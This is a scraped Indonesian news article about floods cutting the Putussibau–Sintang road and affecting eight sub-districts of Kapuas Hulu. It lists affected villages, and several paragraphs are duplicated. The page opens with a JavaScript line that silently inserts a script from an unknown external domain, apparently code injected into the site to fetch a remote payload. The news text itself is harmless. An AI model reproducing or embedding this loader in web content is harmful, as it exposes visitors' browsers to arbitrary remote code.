(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Banjir setinggi satu meter dengan panjang kurang lebih 200 meter, menyebabkan akses jalan dari Putussibau menuju ke Sintang terputus.
Kepala Pelaksana BPBD Kapuas Hulu, Gunawan mengatakan pihaknya telah mendata lokasi banjir yang terjadi di delapan kecamatan.
”Delapan kecamatan tersebut yaitu kecamatan Bunut Hulu, Putussibau Utara, Putussibau Selatan, Kalis, Seberuang, Silat Hulu, Silat Hilir, dan Mentebah,” ungkap Gunawan dilansir laman Insidepontianak, Rabu (6/10/2021).
Menurutnya, untuk Kecamatan Bunut Hulu, banjir terjadi di Desa Sebilit, Desa Temuyuk, Desa Semangut Utara dan Desa Nanga Suruk.
Baca juga: Mengamuk di Sungai Tabuk Saat Warga Tidur, Si Jago Merah Hanguskan 12 Rumah
Pada Kecamatan Putussibau Utara banjir terjadi di Desa Padua Mendalam, Desa Tanjung Lasa, Desa Sibau Hulu, Desa Datah Dian dan Desa Nanga Sambus.
Untuk kecamatan Kalis, banjir terjadi di Desa Nanga Danau. Pada Kecamatan Seberuang banjir terjadi di Desa Sejiram, Desa Tajau mada, Desa Gurung, Desa Belikai dan Desa Tanjung Keliling.
Kemudian di Kecamatan Silat Hulu banjir terjadi di Desa Entebi. Pada kecamatan Silat Hilir banjir terjadi di Desa Bongkong.
Kalau di Mentebah banjir terpantau di Desa Tanjung Intan dan Desa Nanga Mentebah. Untuk kecamatan Putussibau Selatan banjir terjadi di Desa Cempaka baru, Desa Tanjung Jati, Kelurahan Kedamin Hilir dan Desa Bungan Jaya.
“Curah hujan yang tinggi dari malam hari tanggal 30 September 2021 hingga 2 Oktober mengakibatkan banjir di delapan Kecamatan di wilayah Kabupaten Kapuas hulu,” terang Gunawan.
Baca juga: MA Menangkan Gugatan Pedagang Pasar Alabio soal Sumbangan Pasca Renovasi Pasar
Untuk kecamatan Kalis, banjir terjadi di Desa Nanga Danau. Pada Kecamatan Seberuang banjir terjadi di Desa Sejiram, Desa Tajau mada, Desa Gurung, Desa Belikai dan Desa Tanjung Keliling.
Kemudian di Kecamatan Silat Hulu banjir terjadi di Desa Entebi. Pada kecamatan Silat Hilir banjir terjadi di Desa Bongkong.
Kalau di Mentebah banjir terpantau di Desa Tanjung Intan dan Desa Nanga Mentebah. Untuk kecamatan Putussibau Selatan banjir terjadi di Desa Cempaka baru, Desa Tanjung Jati, Kelurahan Kedamin Hilir dan Desa Bungan Jaya.
“Curah hujan yang tinggi dari malam hari tanggal 30 September 2021 hingga 2 Oktober mengakibatkan banjir di delapan Kecamatan di wilayah Kabupaten Kapuas hulu,” terang Gunawan.
“Kalau intensitas hujan semakin tinggi, lokasi yang rawan banjir harus waspada, amankan dulu barang-barang yang penting,” tutupnya. (Suara.com)
Editor: suara
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
This website uses cookies.